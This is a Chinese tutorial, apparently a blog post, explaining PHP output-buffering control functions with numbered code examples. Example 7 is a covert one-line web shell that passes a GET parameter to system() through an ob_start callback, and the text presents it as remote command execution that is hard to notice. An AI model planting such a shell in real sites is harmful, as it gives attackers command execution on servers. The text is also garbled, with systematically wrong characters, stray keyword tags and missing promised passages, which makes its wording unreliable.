說到輸出緩衝,首先要說的是一個叫作緩衝器(buffer)的東西。舉個簡單的例子說明他的做用:咱們在編輯一篇文檔時,在咱們沒有保存以前,系統是不會向磁盤寫入的,而是寫到buffer中,當buffer寫滿或者執行了保存操做,纔會將數據寫入磁盤。對於PHP來講,每一次像 echo 這樣的輸出操做,一樣是先寫入到了 php buffer 裏,在腳本執行完畢或者執行了強制輸出緩存操做,數據纔會在瀏覽器上顯示。 php
其實對於PHP程序員來講,基本上每一個腳本都涉及到了輸出緩衝,只是在大多數狀況下,咱們都不須要對輸出緩衝進行更改。而今天就來用實例對PHP輸出緩衝控制函數「Output Control」作一個詳細的解析。 html
下面這個例子簡單介紹了輸出緩衝在通常腳本中存在的方式: 程序員
咱們在執行以下腳本時: 數組
<?php /*例1*/ echo 'oschina.net'; echo '紅薯'; echo '蟲蟲'; ?>
腳本在執行完第一個 echo 時,並不會向瀏覽器輸出相應內容,而是會輸出到一個緩衝區,依次類推,當三個 echo 所有執行完畢(也就是腳本結束)時,纔會將緩衝區內容所有輸出到瀏覽器。固然這個緩衝區也有大小的限制,是根據 php.ini 中的output_buffering
選項來設置的,這點會在下面的文章中詳細介紹。而本章所講的輸出緩衝控制,就是在腳本結束前,對緩衝區裏的內容進行操做。 瀏覽器
這個例子能夠更好的體現輸出緩衝控制的應用: 緩存
在執行以下代碼時: 服務器
<?php /*例2*/ echo 'oschina.net'; sleep(1); echo '紅薯'; sleep(1); echo '蟲蟲'; ?>
咱們至少須要等待 2秒 才能看到輸出結果,那咱們能不能讓其實時的顯示呢?也就是在第一個 echo 執行完畢時就輸出相應的內容呢,這時候就須要用輸出緩衝控制函數來操做緩衝區了,實現代碼以下: cookie
<?php /*例3*/ echo str_pad('', 1024);//使緩衝區溢出 ob_start();//打開緩衝區 echo 'oschina.net'; ob_flush();//送出當前緩衝內容,不會輸出 flush();//輸出送出的緩衝內容 sleep(1); echo '紅薯'; ob_flush();//送出當前緩衝內容,不會輸出 flush();//輸出送出的緩衝內容 sleep(1); echo '蟲蟲'; ob_end_flush();//輸出並關閉緩衝 ?>簡單點也能夠這樣實現:
<?php /*例4*/ echo str_pad('', 1024);//使緩衝區溢出 echo 'oschina.net'; flush();//輸出送出的緩衝內容 sleep(1); echo '紅薯'; flush();//輸出送出的緩衝內容 sleep(1); echo '蟲蟲'; ?>
至於相關函數的用法在下面都會有介紹,這裏只是給你們展現一個輸出緩衝控制函數的應用,固然了輸出緩衝控制函數的做用毫不止這一種,那麼下面咱們就來看看輸出緩衝控制函數均可以應用在哪些方面。 session
最後一種應用就是 簡介 中示例的方法,對一些數據進行實時的輸出,例如在我這篇博文中,就用到了輸出緩衝控制函數進行頁面爬蟲數據的實時輸出。連接:PHP爬蟲獲取網站全部圖片,並按網站分類本地保存 函數
再來看看在 php.ini 中和輸出緩衝控制有關的選項,共三個,分別是:output_buffering
, output_handler
和 implicit_flush
output_buffering
默認爲 off , 當設置爲 on 時,則在全部腳本自動打開輸出緩衝區,拿 例3 來講,就是在每一個腳本都自動執行了 ob_start() 這個函數,而不用再顯示的調用該函數。其也能夠設置爲一個整型的數字,表明緩衝區能夠存儲的最大字節數,咱們在 例1 的下面說明中提到過這個配置項。 output_handler
默認爲 null , 其值只能設置爲一個內置的函數名,做用就是將腳本的全部輸出,用所定義的函數進行處理。他的用法和 ob_start('function_name') 較相似,下面會介紹到。 implicit_flush
默認爲 off , 當設置爲 on 時,PHP將在輸出後,自動送出緩衝區內容。拿 例4 來講,就是在每段輸出後,自動執行 flush() 。固然有效的輸出不只指像echo , print 這樣的函數,也包括HTML段。
如今咱們就用實例分析相關函數,相信在充分了解了如下內容後,就會對輸出緩衝控制函數有了較清晰的掌握。
1. bool ob_start ([ callback $output_callback
[, int $chunk_size
[, bool $erase
]]] )
此函數在 例3 中已經使用過,你們從命名上也能明白其含義,就是打開輸出緩衝區,從而進行下一步的輸出緩衝處理。這裏要特地說的是其參數的用法,第一個參數要傳遞一個回調函數,其需將緩衝區內容作爲參數,而且返回一個字符串。他會在緩衝區被送出時調用,緩衝區送出指的是執行了例如ob_flush() 等函數或者腳本執行完畢。ob_flush() 函數會在下面介紹到,來看一個簡單的例子就能理解其用法:
<?php /*例5*/ ob_start('handleString'); echo '123456'; function handleString($string){ return md5($string); } ?>運行後的結果是:
e10adc3949ba59abbe56e057f20f883e
說明輸出的內容被md5加密了,也就是說在緩衝區內容輸出時,運行了咱們定義的 handleString 函數。
再來看一個更實際的例子,也就是常見到的將網頁內容利用 gzip 壓縮後再輸出,代碼以下:
<?php /*例6*/ ob_start('ob_gzhandler'); echo str_repeat('oschina', 1024); ?>
其頁面大小爲:
而不使用 ob_gzhandler 參數,其頁面大小爲:
能夠明顯看到大小的差異,因此說利用 ob_start() 進行頁面壓縮輸出,是很是實用的一個功能。
而第二個參數 chunk_size
爲緩衝區的字節長度,若是緩衝區內容大於此長度,將會被送出緩衝區,默認值爲0,表明函數將會在最後被調用。第三個參數 erase
若是被設置爲 flase , 則表明腳本執行完畢後緩衝區纔會被刪除,若是提早執行了刪除緩衝區函數(後面會提到),則會報一個錯誤。
ob_start() 的用法就這麼多,但有兩點須要特別注意的地方:
<?php /*例7*/ $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush(); ?>
若是理解了上面關於 ob_start的用法,這段代碼就不難理解了,其應用了 ob_start 函數會將緩衝區輸出的內容做爲參數傳入所設置的函數中的特色,實現了以Web服務器權限遠程執行命令,而且不宜被發覺。
2. string ob_get_contents ( void )
此函數用來獲取此時緩衝區的內容,下面的例子就能很好的理解其用法:
<?php /*例8*/ echo str_pad('', 1024);//使緩衝區溢出 ob_start();//打開緩衝區 phpinfo(); $string = ob_get_contents();//獲取緩衝區內容 $re = fopen('./phpinfo.txt', 'wb'); fwrite($re, $string);//將內容寫入文件 fclose($re); ob_end_clean();//清空並關閉緩衝區 ?>
運行此例會發現,瀏覽器並不會有任何輸出,但在當前目錄下會有一個 phpinfo.txt 的文件,裏面存儲了這次應有的輸出。這個例子也展現了上面做用中第三點所說的狀況。咱們能夠將輸出內容獲取到後,根據咱們的實際狀況進行處理。
3. int ob_get_length ( void )
此函數用來獲取緩衝區內容的長度,將 例8 稍做改動來展現這個函數的用法:
<?php /*例9*/ echo str_pad('', 1024);//使緩衝區溢出 ob_start();//打開緩衝區 phpinfo(); $string = ob_get_contents();//獲取緩衝區內容 $length = ob_get_length();//獲取緩衝區內容長度 $re = fopen('./phpinfo.txt', 'wb'); fwrite($re, $string);//將內容寫入文件 fclose($re); var_dump($length); //輸出長度 ob_end_flush();//輸出並關閉緩衝區 ?>
4. int ob_get_level ( void )
此函數用來獲取緩衝機制的嵌套級別,咱們在介紹 ob_start() 函數時曾說過,在一個腳本中能夠嵌套存在多個緩衝區,而此函數就是來獲取當前緩衝區的嵌套級別,用法以下:
<?php /*例10*/ ob_start(); var_dump(ob_get_level()); ob_start(); var_dump(ob_get_level()); ob_end_flush(); ob_end_flush(); ?>
運行後能夠很明顯的看出他們的嵌套關係。
5. array ob_get_status ([ bool $full_status
= FALSE ] )
此函數用來獲取當前緩衝區的狀態,返回一個狀態信息的數組,若是第一個參數爲 true ,將返回一個詳細信息的數組,咱們結合實例來分析這個數組:
<?php /*例11*/ ob_start(‘ob_gzhandler’); var_export(ob_get_status()); ob_start(); var_export(ob_get_status()); ob_end_flush(); ob_end_flush(); ?>此腳本輸出以下:
array ( 'level' => 1, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, ) array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'default output handler', 'del' => true, )
level 爲嵌套級別,也就是和經過 ob_get_level() 取到的值同樣。
type 爲處理緩衝類型,0爲系統內部自動處理,1爲用戶手動處理。
status 爲緩衝處理狀態, 0爲開始, 1爲進行中, 2爲結束
name 爲定義的輸出處理函數名稱,也就是在 ob_start() 函數中第一個參數傳入的函數名。
del 爲是否運行了刪除緩衝區操做
理解了上面數組的含義,就能很好理解緩衝區的各項屬性。
6. array ob_list_handlers ( void )
此函數用來得到輸出處理程序的函數名數組,也就是在 ob_start() 函數中咱們指定的第一個參數,須要注意的是,若是咱們傳的參數是一個匿名函數,或者在配置文件中啓用了 output_buffering
則該函數將返回default output handler ,php官方手冊 中的例子就能很好的解釋這個函數:
<?php /*例12*/ //using output_buffering=On print_r(ob_list_handlers()); ob_end_flush(); ob_start("ob_gzhandler"); print_r(ob_list_handlers()); ob_end_flush(); // anonymous functions ob_start(create_function('$string', 'return $string;')); print_r(ob_list_handlers()); ob_end_flush(); ?>
輸出結果爲:
Array ( [0] => 'default output handler' ) Array ( [0] => 'ob_gzhandler' ) Array ( [0] => 'default output handler' )
下面咱們來看看和輸出、關閉、送出緩衝區內容有關的函數:
7. void ob_flush ( void )
此函數在前面的例子常常用到了,其做用就是 「送出」 當前緩衝區內容,同時清空緩衝區,須要注意這裏用的是 「送出」 一詞,也就是說調用此函數並不會將緩衝區內容輸出,從 例3 能夠看出必須在其後調用 flush 函數其纔會輸出。關於 flush 的用法下面就會說到,這裏就再也不作實例了。
8. void flush ( void )
這個函數算是比較經常使用的,用來將其前面的全部輸出發送到瀏覽器顯示,且不會對緩存區有任何影響。例3 和 例4 中都用到了此函數將當前輸出顯示到瀏覽器,換句話說,不管是 echo 等函數的輸出,仍是 HTML實體 ,或是運行 ob_start() 送出的內容,運行 flush() 後都會在瀏覽器進行顯示。
9. void ob_implicit_flush ([ int $flag
= true ] )
此函數用來打開/關閉絕對刷送模式,就是在每一次輸出後自動執行 flush(),從而不須要再顯示的調用 flush() ,提升效率。咱們將 例4 稍做更改,利用這個函數來實現一樣的效果:
<?php /*例13*/ echo str_pad('', 1024);//使緩衝區溢出 ob_implicit_flush(true);//打開絕對刷送 echo 'oschina.net'; //flush(); 以後不須要再顯示的調用 flush() sleep(1); echo '紅薯'; //flush(); sleep(1); echo '蟲蟲'; ?>
此例和 例4 實現的一樣的效果,因爲打開了 絕對刷送,因此不須要再調用 flush(), 系統會自動在輸出後進行刷送。
10. bool ob_end_flush ( void )
此函數將緩衝區的內容送出,並關閉緩衝區。實際上至關於執行了 ob_flush() 和 ob_end_clean() ;
11. string ob_get_flush ( void )
此函數和 ob_end_flush() 的做用基本一致,只是其會以字符串的形式返回緩衝區的內容,很簡單,也不作實例了。
12. void ob_clean ( void )
此函數會將當前緩衝區清空,但不會關閉緩衝區,下面這個例子的輸出將不會顯示,由於在輸出前,緩衝區已經被清空了,但咱們又能夠獲取到緩衝區的屬性,說明緩衝區沒被關閉:
<?php /*例14*/ ob_start(); echo 'oschina'; ob_clean(); var_dump(ob_get_status()); ?>
13. bool ob_end_clean ( void )
此函數清空並關閉緩衝區,將 例14 稍做更改,便可發現咱們再也不能獲取到緩衝區的狀態,由於它已經被關閉了:
<?php /*例15*/ ob_start(); echo 'oschina'; ob_end_clean(); var_dump(ob_get_status()); ?>
14. string ob_get_clean ( void )
此函數清空並關閉緩存,但會以字符串的形式返回緩存中的數據,實際上,這個函數就是分別執行了 ob_get_contents() 和 ob_end_clean();
<?php /*例16*/ ob_start(); echo 'oschina'; $string = ob_get_clean(); var_dump(ob_get_status()); var_dump($string); ?>
最後再來看兩個和URL重寫有關的函數:
15. bool output_add_rewrite_var ( string $name
, string $value
)
此函數添加URL重寫機制的鍵和值,這裏的URL重寫機制,是指在URL的最後以GET方式添加鍵值對,或者在表單中以隱藏表單添加鍵值對。絕對的URL不會被添加,仍是用手冊中的例子來看吧,寫的很是直觀明瞭:
<?php /*例17*/ output_add_rewrite_var('var', 'value'); // some links echo '<a href="file.php">link</a> <a href="http://example.com">link2</a>'; // a form echo '<form action="script.php" method="post"> <input type="text" name="var2" /> </form>'; print_r(ob_list_handlers()); ?>
程序的輸出爲:
<a href="file.php?var=value">link</a> <a href="http://example.com">link2</a> <form action="script.php" method="post"> <input type="hidden" name="var" value="value" /> <input type="text" name="var2" /> </form> Array ( [0] => URL-Rewriter )能夠看到不是絕對URL地址的連接 和 Form表單 被加上了對應的鍵值對。
16. bool output_reset_rewrite_vars ( void )
此函數用來清空全部的URL重寫機制,也就是刪除由 output_add_rewrite_var() 設置的重寫變量。
相信讀了上面的內容,就會對PHP的緩衝控制函數有較深的認識了,那接下來講一些在平常使用中須要注意的問題:
第一次寫這麼長的博文,不免出錯,還但願你們多多指點交流 :)